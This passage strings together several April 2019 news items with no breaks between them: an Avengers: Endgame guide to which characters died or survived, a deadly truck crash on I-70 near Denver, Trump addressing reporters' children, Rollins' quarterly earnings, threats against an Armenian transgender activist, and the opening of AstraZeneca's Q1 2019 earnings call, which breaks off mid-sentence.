big sacrifice, Black Widow jumps to her death. When Hawkeye returns to Earth, Thor (Chris Hemsworth) suggests they use the Time Stone to bring her back. However, Red Skull told Hawkeye that Black Widows death is permanent. Later, the Hulk (Mark Ruffalo) says that he tried to wish Black Widow back into existence when he held the Infinity Stones, but that it wasnt possible because, as Red Skull confirmed, the magic of the Soul Stone requires a permanent sacrifice. So yes, it seems like shes gone for good even though Black Widow is finally getting her own spinoff movie; presumably it will be a prequel. READ MORE: How to Stream Every Single Marvel Movie 2014 Nebula: When Nebula (Karen Gillan) and War Machine (Don Cheadle) travel from 2023 to 2014 to retrieve the power stone, 2023 Nebula accidentally sends a message to her 2014 self revealing their mission. Thanos (Josh Brolin) sees this transmission and enlists 2014 Nebula to kidnap 2023 Nebula and replace her. 2014 Nebula then travels back to 2023, masquerading as 2023 Nebula, and pulls Thanos and his army forward in time to attack the Avengers. During the battle with Thanos, 2023 Nebula confronts 2014 Nebula and shoots her. 2014 Nebula dies but 2023 Nebula survives (more on that later). Heres who remained dead in Avengers: Endgame Vision: It seems like the actual deaths not dustings that occurred in Avengers: Infinity War are permanent. Thanos crushed Visions (Paul Bettany) skull in order to gain the Mind Stone in that movie, and Vision does not return to Avengers: Endgame. Scarlet Witch (Elizabeth Olsen) suggests that Vision is permanently dead at the end of the film when she and Hawkeye reminisce over the loss of Vision and Black Widow, respectively. In theory, someone could build a new Vision using the Mind Stone and Jarvis. Thats complicated by the fact that Captain America returned the Mind Stone to its original timeline, and Tony Stark (who is now dead) is probably the only person who could understand how to recreate Visions mind. 2018 Gamora: This death, one of the most emotionally resonant from Avengers: Infinity War, turns out to be a bit more complicated. As a refresher: Thanos sacrificed Gamora (Zoe Saldana) during that movie in order to attain the Soul Stone. And that version of Gamora, from 2018, remains dead in this film. However, Thanos travels from 2014 to the future 2023, to be exact with Gamora to stop the Avengers from executing their plan. The 2014 Gamora helps to stop Thanos and his minions. Its unclear, however, if she survives the encounter. At the end of that battle, Tony Stark wishes all of Thanos allies away. Considering that Gamora was fighting on the side of the Avengers, that means that she is probably still alive. She is nowhere to be seen after the battle, but Star Lord (Chris Pratt) begins to search for her once he returns to his ship. Presumably the events of Guardians of the Galaxy Vol. 3 will center on the Guardians hunt for this old Gamora and Star-Lord starting up a romance with her, again. 2018 Loki: In the opening scenes of Avengers: Infinity War, Thanos killed Loki (Tom Hiddleston), promising no resurrections this time. (The trickster god has a tendency to die only to reveal later he faked his death.) Loki fans shouldnt fret though: When the Avengers travel back to the Battle of New York in 2012, they encounter a 2012 version of Loki. In that timeline, Loki steals the Tesseract and escapes with it. According to an April announcement, we know now that Tom Hiddleston will reprise his role on an upcoming Disney+ show about Loki. The series will likely follow this 2012 version of the character after he escapes the Avengers. READ MORE: We Ranked Every Single Marvel Cinematic Universe Movie Heimdall: Thanos and his children murder Thors friend Heimdall (Idris Elba) when they invade Thors ship. Like other characters who were murdered by Thanos, he does not reappear when Hulk uses the Infinity Stones to bring back those who disappeared. The Ancient One: The Ancient One (Tilda Swinton) died during Doctor Strange. Though Hulk talked to her when he traveled back to 2012 to retrieve the Time Stone, she did not travel back with him nor did she come back to life at the end of the film. Peggy Carter: Peggy Carter (Hayley Atwell) died in Captain America: Civil War before Thanos ever snapped his fingers in Infinity War. She remained dead at the end of Endgame, though Steve Rogers traveled back in time to rekindle their romance and grow old with her. Heres who came back to life in Avengers: Endgame Black Panther/TChalla: Black Panther (Chadwick Boseman) makes a regal reappearance right when Captain America looks like hes about to face Thanos alone. Last we saw TChalla, he was looking over Wakanda with Shuri Letitia Wright) and his mother, Ramonda (Angela Bassett). Spider-Man/Peter Parker: Spider-Man (Tom Holland) swoops in to help keep the Infinity Stones away from Thanos. He tells Tony Stark that he woke up on the planet where he disappeared, and that Doctor Strange (Benedict Cumberbatch) helped bring them back to Earth. Later, after Tony Starks funeral, we see Peter return to school and wave to his friend Ned. (Ned seems not to have aged five years, which probably means he also disappeared. But half their schoolmates would have stayed on earth, grown up and graduated.) Doctor Strange/Stephen Strange: Doctor Strange uses his ability to create holes in the space-time continuum to bring all the Marvel characters who once disappeared back in the fight against Thanos after Thanos jumps forward in time to attack the Avengers. We last see Doctor Strange at Tony Starks funeral. Winter Soldier/Bucky Barnes and Falcon/Sam Wilson: Captain America hears Falcon (Anthony Mackie) call on your left over his earpiece before all the disappeared Avengers return to help in the fight against Thanos. After the fight, Bucky (Sebastian Stan) and Sam watch as Steve Rogers travels back in time to return the Infinity Stones to previous moments in time. They then spot an old Steve on a bench: He decided to stay in the past and live out his life with Peggy. Steve hands his shield and Captain America duties to Sam, as Bucky looks on. Sam and Bucky will reportedly star together in a Disney+ TV series. Scarlet Witch/Wanda Maximoff: Scarlet Witch takes out her anger on Thanos for killing her boyfriend, Vision, after she returns. She and Hawkeye later reminisce about Black Widow and Vision during Tonys funeral. Scarlet Witch is set to star in her own television series with Vision on Disney+. Presumably it will be a prequel. Still from 'Avengers: Endgame' featuring Rocket (voiced by Bradley Cooper). | Film FrameMarvel Studios 2019 Guardians of the Galaxy: Rocket (Bradley Cooper) was the only Guardian left after Thanos snap. All the other Guardians Star-Lord (Chris Pratt), Groot (Vin Diesel), Drax (Dave Bautista) and Mantis (Pom Klementieff) return for the final battle against Thanos. Star-Lord tries to embrace the 2014 Gamora who has traveled into the future, but she knees him in the crotch. Remember, this version of Gamora has never met Star-Lord before. Toward the end of the movie all the Guardians board their ship, as does Thor, and Star-Lord tries to search the galaxy for Gamora, who may or may not have survived Tonys snap. Nick Fury and Maria Hill: S.H.I.E.L.D. agent Maria Hill (Cobie Smulders) shows up for the battle against Thanos and Nick Fury (Samuel L. Jackson) appears later at Tony Starks funeral. Hope Pym, Hank Pym and Janet Van Dyne: Hope Pym, a.k.a. the Wasp (Evangeline Lilly), returns for the final battle to fight alongside Ant-Man (Paul Rudd). We see her parents, Janet (Michelle Pfeiffer) and Hank (Michael Douglas), returned to life at Tony Starks funeral. Shuri: Shuri (Letitia Wright) returns alongside Black Panther and is flanked by the Wakandan army for the final battle. Heres who survived the events of Avengers: Endgame Still from 'Avengers: Endgame' featuring Black Widow/Natasha Romanoff (Scarlett Johansson) and Captain America/Steve Rogers (Chris Evans). | Film FrameMarvel Studios 2019 Captain America/Steve Rogers: After the final fight with Thanos is over, Captain America travels back in time to return the Infinity Stones to the spots where the Avengers stole them from. (E.g. he returns the Time Stone to the Sanctum Sanctorum in 2012.) He decides to stay back in time and live out a quiet life with Peggy. This presumably means that there are two Steve Rogers in this universe: The one who was frozen in the lake, woke up and fights with the Avengers, and the time-traveling one who assumes a secret identity and spends his life with Peggy. It also means that Steve Rogers was married to Peggy all along in a time travel loop though time travel loops confusingly dont exist in the rest of the movie. (She mentions a husband in Captain America: Civil War but never by name.) Captain America grows into an old man by 2023 and hands his mantle to Sam. Still from 'Avengers: Endgame' featuring Thor (Chris Hemsworth). | Film FrameMarvel Studios 2019 Thor: Thor decides he no longer wants to rule the Asgardians and passes his former duties to Valkyrie (Tessa Thompson). Presumably, Valkyrie will take Thors place in any future superhero team-up movies. Thor then boards the Guardians of the Galaxys ship and prepares to take off with them. We can probably expect to see Thor in Guardians of the Galaxy Vol. 3. Hulk/Bruce Banner: During Endgame, Bruce revealed that he has finally reconciled his two halves the scientist and the big, green superhero to create a medium-sized, smart Hulk. Its unclear if Bruce can or would return to his human form, but we see him at Tony Starks funeral, arm in a sling after suffering an injury from using the Infinity Stones, still in his half-Hulk-half-human form. Ruffalo still has two movies left on his Marvel contract. The actor has said he wont be making a Hulk solo movie, but he could show up in some of Marvels unannounced projects. Still from 'Avengers: Endgame' featuring War Machine/James Rhodey (Don Cheadle) and Hawkeye/Clint Barton (Jeremy Renner). | Film FrameMarvel Studios 2019 War Machine/James Rhodes: We get our last shot of War Machine (Don Cheadle) at Tonys funeral. Its unclear whether Rhodes would return in the movies as War Machine or even take on the name Iron Man himself. Rocket: Rocket, the only one of the Guardians who lived through the snap, is reunited with his compatriots on their ship at the end of the movie. Still from 'Avengers: Endgame' featuring Nebula (Karen Gillan). | Film FrameMarvel Studios 2019 2023 Nebula: 2023 Nebula (Karen Gillan) kills the 2014 version of herself. This has no effect on her 2023 self: Tony Stark explains earlier in the movie that changing actions in the past doesnt have a butterfly effect in the present but rather creates a new, totally separate timeline. When 2014 Nebula jumped forward in time, she created a new parallel timeline. So 2023 Nebula is killing a parallel version of herself, not an earlier version of herself. Afterwards, Nebula survives the fight against her father and presumably will play some role in the Guardians future adventures. Okoye: Okoye (Danai Gurira) took responsibility for the safety of Wakanda in the five years while TChalla was gone. She will likely have a major role to play in Black Panther 2. Still from 'Avengers: Endgame' featuring Ant-Man/Scott Lang (Paul Rudd). | Film FrameMarvel Studios 2019 Ant-Man/Scott Lang: We see Ant-Man reunited with the Wasp and his daughter Cassie, now five years older, at the end of the film. Ant-Man and the Wasp will probably continue to fight crime in a third film based on their story. Hawkeye/Clint Barton: Hawkeye is back in action sort of. Clint had gone into retirement during Avengers: Infinity War but became a vigilante warrior after his entire family disappeared during the Snapture. Now that his family is back, hell probably return to a relatively peaceful life with them though hell briefly star in a Disney+ television series in which he trains a new Hawkeye and passes on the name to an aspiring hero. Still from 'Avengers: Endgame' featuring Black Widow/Natasha Romanoff (Scarlett Johansson), Thor (Chris Hemsworth), Captain Marvel/Carol Danvers (Brie Larson) and War Machine/James Rhodey (Don Cheadle). | Film FrameMarvel Studios 2019 Captain Marvel/Carol Danvers: Captain Marvel (Brie Larson) returns from space to fight against Thanos and easily destroys his ship. We see her at Tony Starks funeral with her old pal, Nick Fury, standing behind her. Likely, hell try to convince her to stay there. (N.B. the movie never explains how Carol Danvers has seemingly not aged between the 1990s and 2018.) Pepper Potts: Pepper (Gwyneth Paltrow) sits with Tony as he dies. After the funeral, shes left to raise their daughter alone. She does have an Iron Man suit though if she wants to use it. Valkyrie: Thor passes the Asgardian crown to Valkyrie. Its possible that if another major threat hits Earth, she would take up Thors old mantle to protect her people. Wong: Wong (Benedict Wong) and Doctor Strange reunite during the battle against Thanos. They likely return to the Sanctum Sanctorum. Happy Hogan: Happy Hogan (Jon Favreau) will probably play a mentorship role to Tony Stark and Pepper Potts daughter. (He promises her all the cheeseburgers during the funeral.) He also will appear in Spider-Man: Far From Home, probably as Spider-Mans liaison to the rest of the superhero world. Ned: Peter Parker spots his best friend Ned (Jacob Batalon) during his first day back at school. Since it looks as if Ned has not aged, he probably was caught up in the Snapture too, and now has returned. Heres who disappeared in Avengers: Endgame Thanos and all his henchman: Iron Man turns the tables on Thanos: When Tony snaps his fingers, he uses the Infinity Stones to wish Thanos and his minions out of existence. Heres who still unaccounted for after Avengers: Endgame 2014 Gamora: The Gamora who traveled with Thanos from 2014 to 2023 helps defeat her father. When Tony snaps his fingers at the end of that battle, Thanos and all his henchman disappear. Since Gamora fought alongside the good guys, she presumably survived. But its unclear where she is at the end of the film. Star-Lord tries to look for her on his ships navigation system, and Guardians of the Galaxy Vol. 3 will probably follow his quest to find her. The Collector: Its unclear what happened to the Collector (Benicio del Toro), who possessed the Reality Stone back in Avengers: Infinity War. Thanos took the stone from him, but we dont know if Thanos killed the Collector or left him alive. He still may play a role in future Guardians movies. The driver of a runaway semi-tractor trailer has been arrested on charges of multiple vehicle homicide after his truck slammed at high speed into a line of stopped cars on I-70 west of Denver, killing at least four people, police said Friday. Police said it took hours to determine how many people died in Thursday's mangled, fiery pileup of 24 car and four semis. Lakewood police agent Ty Countryman said least six people were hospitalized. The crash occurred on the eastbound lanes of Interstate-70 around 4:30 p.m. in the city of Lakewood, which west of Denver. The highway is expected to remain closed until Saturday. The driver, 23-year-old Rogel Lazaro Aguilera-Mederon of Texas, who suffered minor injuries in the ordeal, was booked into the Jefferson county jail pending a hearing on Saturday. Countryman said there was no evidence that the suspect driver had been using drugs or alcohol. He said investigators were also trying to determine if brake failure or mechanical problems kept the truck from stopping. A firefighter sprays water on the wreckage in Lakewood, Colo., after a deadly collision on Interstate 70 near the Colorado Mills Parkway, April 25, 2019. Countryman noted, however, that the driver could still be convicted of vehicular homicide if witnesses and cameras suggest he did not heed posted warnings to slow down as the highway makes a 6 percent descent into Denver. Fires and explosions erupted as the white, flat-bed truck roared up the right shoulder at high speed and plowed into the traffic jam caused by an earlier accident farther up I-70. Countryman described the scene as one of "true carnage." Josh McCutchen, a YouTube/Burger Planet vlogger, was streaming live video from his van when the semi sweeps past him at high speed on the shoulder. "Oh my god," he shouts. "We almost ......died!" We had one West Metro firefighter who was injured on scene while working the vehicle crash and fire on I-70 near Denver West. He was hit by debris when potentially a tire exploded. He has minor injuries. pic.twitter.com/zx5UKi0rlD WestMetroFire (@WestMetroFire) April 26, 2019 Brian Dickey told Denver ABC affiliate KMGH that the back of his truck lifted up and shoved him forward, slamming his car into other vehicles. Story continues "When I came to a stop I look in my rearview mirror and all I saw was a bunch of flames," he said. "And I jumped out of the vehicle as fast as I could. There was so much fire at the time that I couldn't even really approach any of the other vehicles to see if there was any other survivors or what." One of the semis was carrying diesel fuel, which poured onto the highway as fiery explosions erupted, sending thick, black smoke across metro Denver. The flames, which lit piles of lumber from another truck, left hotspots smoldering through the night. The raging fire sent temperatures on the surface of the highway soaring above 2,500 degrees, melting aluminum and turning pavement into rubble, said Josh Laipply, chief engineer of the Colorado Department of Transportation. I think we lose sight that vehicles are deadly weapons, and we need to be more careful when we are driving, Laipply said, according to the Denver Post. Emergency crews work at the scene of a deadly collision on Interstate 70 near the Colorado Mills Parkway in Lakewood, Colo. April 25, 2019. This article originally appeared on USA TODAY: 4 killed by runaway truck on Denver interstate; driver faces homicide charges President Donald Trump spent some time chatting with kids who were at the White House for Take Our Sons and Daughters to Work Day on Thursday and used the opportunity to give the media a lot more credit than usual. Children of the White House press corps had a chance to get up close and personal with the President, and hear his thoughts on the moms and dads who cover him daily. Its a very special day, Trump said from the South Lawn of the White House. I even love the media today. I see these beautiful children, products of the media, and I actually like you much more than your parents. Trump then went on to compliment the media after his quip, and briefly explained the role White House reporters play in society. They let you know how were doing and often times they report correctly, Trump said. Actually, most of the time. Trump had kind words for the press corps while reporters children were here. Often times they report correctly, he said, and chuckled. Most of the time. They want to get the word out fairly and honestly, he said at Take Your Daughters & Sons to Work event. pic.twitter.com/ad4VbXWwMw Jennifer Jacobs (@JenniferJJacobs) April 25, 2019 His words directed at the media were noticeably kinder than they have been in recent weeks, especially since a redacted version of Special Counsel Robert Muellers report on Russian interference in the 2016 election was made public. The Fake News Media is doing everything possible to stir up and anger the pols and as many people as possible seldom mentioning the fact that the Mueller Report had as its principle conclusion the fact that there was NO COLLUSION WITH RUSSIA. The Russia Hoax is dead! he wrote on April 20. Story continues The Fake News Media is doing everything possible to stir up and anger the pols and as many people as possible seldom mentioning the fact that the Mueller Report had as its principle conclusion the fact that there was NO COLLUSION WITH RUSSIA. The Russia Hoax is dead! Donald J. Trump (@realDonaldTrump) April 20, 2019 Trump also told the children about some of the positive things that have occurred under his leadership. Our country is doing very well, he said. Our economy is at a level that perhaps its never been at and all over the world theyre talking about our great country and how well were doing. He then provided them with some words of advice before wrapping up. Never take drugs, dont drink alcohol, dont smoke, enjoy your life. You dont need it. It causes a lot of problems. If you learn one thing. I didnt come up here to say that, but I say it all the time to my kids, he said. In Oct. 2017, Trump opened up about his older brother, Fred Trump Jr., in a speech in which he declared the opioid crisis a public health emergency. His brother died in 1981 after a long battle with alcoholism, and the President said at the event that hes never had a cigarette and never drinks alcohol because of his brothers advice to steer clear. Before Trump took some time with the children on Thursday, White House Press Secretary Sarah Sanders provided an off-the-record kids-only press briefing in the morning. Parents of these children havent had the same opportunity in 45 days, when Sanders last briefed the press on March 11. Rollins (NYSE: ROL) reported first-quarter financial results on April 24. The owner of popular pest control brands -- such as Orkin, HomeTeam Pest Defense, and Critter Control -- saw its profits fall due in part to extraordinarily cold weather. But management says business should rebound later in the year. Rollins' results: The raw numbers Metric Q1 2019 Q1 2018 Year-Over-Year Change Revenue $429.1 million $408.7 million 5% Net income $44.2 million $48.5 million (9%) Earnings per share $0.14 $0.15 (7%) Data source: Rollins Q1 2019 earnings release. What happened with Rollins this quarter? Rollins saw balanced growth across its major service lines. Revenue in its residential pest control, commercial pest control, and termite and ancillary businesses increased by 4.9%, 4.6%, and 4.8%, respectively. However, several factors weighed on Rollins' profits in the first quarter. Two such factors were historically cold weather and severe storms. "Between the much-publicized polar vortex and the substantial rain in all of California and the Midwest, pest demand did not materialize in a normal fashion," CFO Paul Northen said during a conference call with analysts. A winter storm warning sign in a snowstorm Winter storms took a toll on Rollins' first-quarter results. Image source: Getty Images. Yet CEO Gary Rollins said that these conditions should abate in the current quarter. "Although we rarely talk about the impact of weather on the business, this year Mother Nature was particularly unkind, unleashing what some refer to as the polar vortex, delivering some of the coldest temperatures to parts of the country in over two decades," Rollins said. "But as we say around here, spring always comes ... and with it comes higher pest activity." The company also incurred higher expenses related to recent enhancements to its employee benefits program. Yet these human capital investments are already bearing fruit; Gary Rollins said the company "achieved major improvements in both employee and customer retention" in the first quarter. Story continues President and Chief Operating Officer John Wilson highlighted just how significant an impact these investments are having on Rollins's business. "For the Orkin brand alone, we saw a 33% improvement in our most important metric, employee retention. This meant that we separated from Orkin 224 fewer people. This saves time spent searching for replacement team members, as well as dollars spent on training those new hires." By investing in its people, Rollins is positioning itself for success in the future. Looking forward Rollins expects to receive regulatory clearance for its recent acquisition of Clark Pest Control in the coming days. Clark is the eighth-largest pest control company in the U.S. It will represent the largest acquisition in Rollins' history upon closing. Rollins intends to finance the deal via a combination of cash and debt, which it plans to pay off within two years. And while Clark is not expected to add to Rollins' earnings per share in the first year post-closing, it is expected to have a positive impact on the company's cash flow. All told, the purchase of Clark Pest Control is likely to further Rollins' proven growth-through-acquisition strategy, which has helped the extermination specialist generate returns of more than 600% for investors over the past decade. More From The Motley Fool Joe Tenebruso has no position in any of the stocks mentioned. The Motley Fool owns shares of and recommends Rollins. The Motley Fool has a disclosure policy. HOLLYWOOD, CA- APRIL 24: Armenians, Armenian descendants and supporters gather during a march and rally commemorating the 104th anniversary of the Armenian genocide on April 24, 2019 in Hollywood, California. Greater Los Angeles is home to one of the largest Armenian communities in the world outside of Armenia. (Photo by Mario Tama/Getty Images) ORG XMIT: 775332466 ORIG FILE ID: 1144884361 The first registered transgender woman in Armenia says she's faced death threats in the three weeks since she became the first lesbian, gay, bisexual or transgender person to address the country's parliament about the community's struggles. Lilit Martirosyan attracted worldwide attention for her April 5 speech about the violence and hate targeting LGBT people in Armenia, where discrimination is common despite homosexuality being decriminalized in 2003. The Guardian reported that the speech, delivered during a human rights parliamentary hearing and met with immediate objections from the body's conservative members, has ignited a backlash in Armenia marked by anti-LGBT protests in front of the national assembly. The publication cited "verbal attacks" made by members of parliament against Martirosyan, who is an organizer for the LGBT rights group Right Side. That includes calls for her to be "burned alive," according to The Guardian, which did not identify who made that threat. Reports from Armenia say the uproar presents a test for Prime Minister Nikol Pashinian, a former street politician elected on a reform-minded agenda less than a year ago. Martirosyan discussed the threats against her in an interview with the newspaper, saying, This was the first time in Armenia when a transgender woman spoke from a high podium of violence against transgender people. She added: [A] transphobic man with a knife came to the national assembly to announce that he would kill me and that others like me must be killed, too I have received many messages via Facebook and email from various people telling that they will find and kill me. In the post-revolutionary Armenia, hate has no place." The outcry against Martirosyan's speech has come primarily from Armenia's opposition conservative faction in parliament, the Prosperous Armenia Party. The "perverts" must be expelled from Armenia, Vartan Ghukasian, a lawmaker of the party, was quoted by Radio Free Europe/Radio Liberty as saying. Send them to Holland. We want females to be females and males to be males. You cant mix female with male. Its shameful. Story continues Radio Free Europe/Radio Libery quoted Naira Zohrabian, another member of the opposition party who chaired the meeting. He said Martirosian was off topic in her speech and challenged her right to speak. "We had three issues today to discuss: judicial reform, the problems of disabled people, and children," Zohrabian said, according to Radio Free Europe/Radio Liberty. "To take advantage of this opportunity to try to raise the question that we do not have on our agenda at this time, I consider disrespectful treatment first of all to me as the chairman of the commission, and disrespect toward the parliament." In her speech before parliament, Martirosyon said LGBT people in Armenia are tortured, raped, kidnapped, subjected to physical violence, burned, immolated, knifed, subjected to murder attempt, killed, emigrated, and robbed," according to The Guardian. She said transgender people in Armenia are subjected to stigma and discrimination in social, medical, legal, economic areas" and are often unemployed, poor or "morally abandoned." Last year, members of the LGBT activists group Rainbow Armenia Initiative were attacked by a mob, leaving some injured. New threats against the LGBT community and Martirosyon in the wake of her speech have been condemned by both the United Nations and the European Union, of which Armenia is a member. "The United Nations in Armenia is concerned about the recent rise in hate speech and threats of violence against human rights and LGBTI activists," the UN said in a statement. "Neither threats of violence nor any form of discrimination against any group or individual can be tolerated. A statement on behalf of the EU said the delegation is "gravely concerned" with threats made against minorities and human rights defenders in Armenia. "Hate speech, including death threats directed at Ms. Lilit Martirosyan, her colleagues and the LGBTI community as a whole represent the latest in this worrying trend," the statement says, "and amount to discrimination prohibited under the European Convention on Human Rights and Fundamental Freedoms to which Armenia is party and which is reflected in the Constitution of Armenia" The EU has called on "all in Armenia who promote and believe in the universality of human rights" to condemn hate speech. The EU also urged law enforcement agencies to take "urgent steps" to guarantee the physical safety of Armenian citizens and to investigate hate crime allegations. This article originally appeared on USA TODAY: Armenian transgender activist says she's faced death threats since historic speech Logo of jester cap with thought bubble. Image source: The Motley Fool. AstraZeneca PLC (NYSE: AZN) Q1 2019 Earnings Call April 26, 2019, 7:00 a.m. ET Contents: Prepared Remarks Questions and Answers Call Participants Prepared Remarks: Operator Good morning and good afternoon, welcome ladies and gentlemen to AstraZeneca's Q1 2019 Results Conference Call and Webcast for investors and analysts. Before I hand over the call to Pascal Soriot at AstraZeneca, I'd like to read the Safe Harbor statement. The Company intends to utilize the Safe Harbor provisions of the United States Private Securities Litigation Reform Act of 1995. Participants on this call may make forward-looking statements with respect to the operations and financial performance of AstraZeneca. By their very nature, forward-looking statements involve risk and uncertainty and results may differ materially from those expressed or implied by these forward-looking statements. The Company undertakes no obligation to update forward-looking statements. There will be an opportunity to ask questions after today's presentations. (Operator Instructions) We will now hand you over to AstraZeneca, where the call is about to start. Pascal Soriot -- Executive Director and Chief Executive Officer Hi everyone it's Pascal Soriot here. Welcome to the first quarter of 2019 conference call and our webcast for investors and analysts. We're in London today for the Annual General Meeting that will take place this afternoon. The presentation as always is available on astrazeneca.com. And we've also sent it to those on our distribution list. Please turn to Slide 2. This is our usual Safe Harbor statement. We've been making comments on our financial performance using core reporting numbers and at constant exchange rates, CER, which are both non-GAAP measures. We will also discuss other non-GAAP measures deemed helpful for investors and analysts. All numbers we refer to million US dollars and growth rates will be at CER and for the first quarter of 2019, unless we state otherwise. Story continues Please turn to Slide 3. We plan to spend a good half hour on the presentation and then go to Q&A. For those on the phone, please get into queue by pressing star one. There's also an option to ask questions as part of the webcast. As we would like to provide everyone with an opportunity to ask questions, please try to limit yourself to one question per person in the first round. Thank you so much for your help with this. And today I am joined by Dave Fredrickson, our EVP for Oncology; Ruud Dobber, our EVP for BioPharmaceuticals; Marc Dunoyer, our CFO; Mene Pangalos, our EVP for R&D BioPharmaceuticals; and Jose Baselga, our EVP for R&D Oncology. We're also so very pleased to have Susan Galbraith, who is with us today, and Susan, as you know is our SVP of our R&D Oncology. She will join us for the Q&A. Please turn to Slide 4. This is the agenda we plan to cover all key aspects of our results today. If we move to Slide 5, In March 2013, we launched a new strategy for AstraZeneca, where we outlined a plan for achieving scientific leadership, returning the Company to growth, and being a great place to work for our colleagues around the world. We have more than 60,000 colleagues working for our Company. In the meantime we have rebuilt the pipeline and returned to sales growth. If you turn to Slide 6, we see progress as we've made, we recently updated our three strategic objectives and they remain consistent with our previous priorities. But of course, they reflect a new focus for the next few years. And number one, it is to deliver the growth that we have created with the new products we are launching and to deliver our ambition to be a tier leader in each of the therapy area where we focused. Taken priorities to accelerate innovative science by moving some of our mid-stage pipeline into a later-stage as fast as we can. And we are prioritizing some of our projects to do that. And the third is to be a great place to work, and that is really fundamental to our future success. We believe so our efforts will not only continue, may redouble to build an even greater place to work. On the science side, our focus is now on accelerating the science we have built to the benefit of patients. First and foremost, AstraZeneca is a Company focused on innovation. We're focused on prescription medicines and medicine that bring full value and innovation to patient society. We're well diversified with global presence and scale and it's an important message for US. We have a geographical diversification and also we don't rely on one therapy area. We have three therapy areas in both primary care and specialty care. This makes -- this takes me into growth and therapy area real leadership, which we updated to reflect our recent return to growth and to signal our clear ambition to create the Company with sustainable sales growth. We have now started to focus on the next wave of growth that goes toward the middle of the 2020. Please also let me emphasize that growth also covers earnings and cash flow. We continue to expect growth in earnings this year and the years to come, and our cash flow improvement in 2020. I want to emphasize here that we are very much on track with what we said. And to return to net cash flow by 2020 that delivers on our goals and enables us to start reducing debt by 2021 and beyond. We look forward -- Marc will cover those financials a bit later and we look forward to keeping our shareholders and analysts, of data on the continuation of our strategic journey. We are really pleased to share that our first quarter 2019 results clearly demonstrate that we are more than on the right track. But you should turn to Slide 7. Essentially, if I summarize our quarter, our sales grew by 14% in the quarter. In fact, I would add that if you normalize for the impact of divestments, as you know we've divested number of medicines, our growth rate would have been 21% and that reflects really the outstanding underlying growth in momentum in our business. We had strong performance with new medicines increasing by 83% and adding more than $900 million in incremental sales. So we almost increased sales by $1 billion out of new products this quarter, a very strong growth. Oncology grew by 59%, but it was a very broad set of growth rates, not only oncology, a new CVRM, Diabetes, Brilinta, grew by 19% and Respiratory grew double digit by 14%. And that growth within Respiratory was driven by Fasenra and Pulmicort. As we discussed before, AstraZeneca is well diversified across three main areas, and also for global presence and Emerging Markets. So that brings me to our performance in the emerging markets, sales there grew by 22%. This is the historical growth rates for us, first time we achieved such a high number. And it was not only in China, 28% growth there, but also we had growth, strong growth right across all emerging markets, and collectively they grew by 13% outside of China. Total revenue grew by 11% and despite very limited collaboration revenue. Our core operating costs increased by 5%, and as a result we saw a strong operating leverage as we promised last quarter we would deliver. Core operating profit jumped by 96%. Despite the higher tax rate, our core EPS doubled to $0.89. Our guidance remains unchanged this year, this shows we are early in the year. Outside the financials, the pipeline continued to progress and we anticipate a very prolific news flow in the second half of the year. Finally, our focus on sustainable sales growth was strengthened through the agreement with Daiichi Sankyo regarding the collaboration on trastuzumab deruxtecan. Please turn to Slide 8. If you look at the pipeline, we continue to make good progress and that remains handful to sustaining sales growth over the mid to long-term. There were a number of highlights in Oncology including the regulatory approval for Lynparza in breast cancer in the EU and the regulatory submission in China for the same indication. Lynparza obtained positive Phase III data in pancreatic cancer, a new cancer type for Lynparza. Selumetinib got Breakthrough Therapy Designation for an NF1, a rare disease. In bio-pharma, Farxiga obtained the first approvals for type 1 diabetes in Japan and in the EU. And we also saw the DECLARE CV outcomes trial data accepted by regulators in the US and in the EU. Brilinta met the primary endpoint in the THEMIS Phase III trial in type 2 diabetes patients with coronary artery disease. In COPD, our partner received approval in the US for Duaklir. On the list we also got a regulatory submission acceptance in the US and the EU for PT010. The second trial result later this year. Finally saracatinib, which was repositioned from cancer into IPF, obtained orphan drug designation in the US. Mene and Jose will cover more R&D details later on. If you turn to Slide 9. The first quarter with 14% growth was the third consecutive quarter of strong sales growth since the present cliff. So we clearly have put the period of patent expiries behind us. We promised a return to sales growth in 2018 with the results. We are now on the next journey of sustained sales growth in 2019 and beyond. As we move through 2019 the comparisons will get tougher in the second half of the year. But our sales guidance remains strong at high single-digit growth. And it remains tougher, because of course, the oncology business, in particular, is becoming bigger, so that impacts growth rates. But also we want to flag that we expect China to still continue growing at a fast clip, but not as fast as we have experienced lately, because we will start being impacted, as other companies by the changes in the marketplace. Our new medicines continued to make a significant contribution to growth this time increasing by 83%. Of all, the biggest contributor remain Tagrisso, which is now our largest selling medicine. Imfinzi and Lynparza also did well, and added significant sales. Fasenra, Brilinta, Farxiga drove strong double digit sales growth in BioPharmaceuticals. Together, the new medicines added more than $900 million of incremental sales in the first quarter of 2019. If you look at Slide 10, and our main therapy areas, and if you look at the Emerging Markets, the well diversified nature of our Company becomes much more visible. We're more diversified than in the past and we are more diversified than our peers. Oncology is approaching $2 billion per quarter and it grew by 59% in the quarter. It's now more than one-third of our total sales. CVRM, New CVRM with Diabetes and Brilinta grew by 19% to more than $1billion, and represent about a fifth of our total sales. Respiratory grew by 14% to now around one quarter of our total sales. And finally Other medicines declined by 21%, as expected, and importantly here you see the reflection of the final impact of patent expiries, but also, as I said earlier, the impact of divestments, which is a big part of this decline here. But importantly, you can see this Other medicines are now representing less than one quarter of the total sales. And I would add to these that if you look at Other medicines outside the Emerging markets, these are really now representing a small portion of our total sales. And Other medicines in the Emerging Markets continue to grow. Our geographical diversification is important for the future of our Company. The Emerging Markets broke the $2 billion mark, 22% with one -- with more than $1 billion in China for the quarter, and a growth of 28%. So it's really pleasing. 22% is a historical growth rate for us. And we have many opportunities to help patients in China and many countries around the world. It's not on the slide, but I want to make a note of our fantastic performance in Japan. Our team there did a really great job and AZ Japan grew by 27% in the quarter. So I would like to offer my thanks to our Japanese colleagues, who have worked very hard to return AZ Japan to growth, and now bringing important medicines like Tagrisso, Imfinzi, Lynparza and Fasenra to enroll patients. If we turn to Slide 11, very recently, late March we announced the collaboration with Daiichi Sankyo on trastuzumab deruxtecan, an innovative antibody drug conjugate or armed antibodies. With the addition of this new medicine, we added a fifth pillar to oncology strategy. We already have leading medicines for lung cancer, with Tagrisso and Imfinzi, we have Lynparza in ovarian cancer, but also across multiple cancer types and we have Calquence for blood cancer. And breast cancer has always been an important priority for us, and this new agent will help us build a strong presence in breast cancer, but also outside of breast. We have been a pioneer in breast cancer with Nolvadex, Arimidex, but also now with Faslodex and Lynparza. And so these new agents will also expand, will help us expand our presence in prescription medicine that follows the success with Tagrisso and Lynparza. And importantly we have a strong knowledge of HER2 among many people in the Company that have operated in the field either in development or in the commercial field. And it's an important aspect of our collaboration with our colleagues at Daiichi Sankyo. We lack the long dated nature of the medicine and therefore we 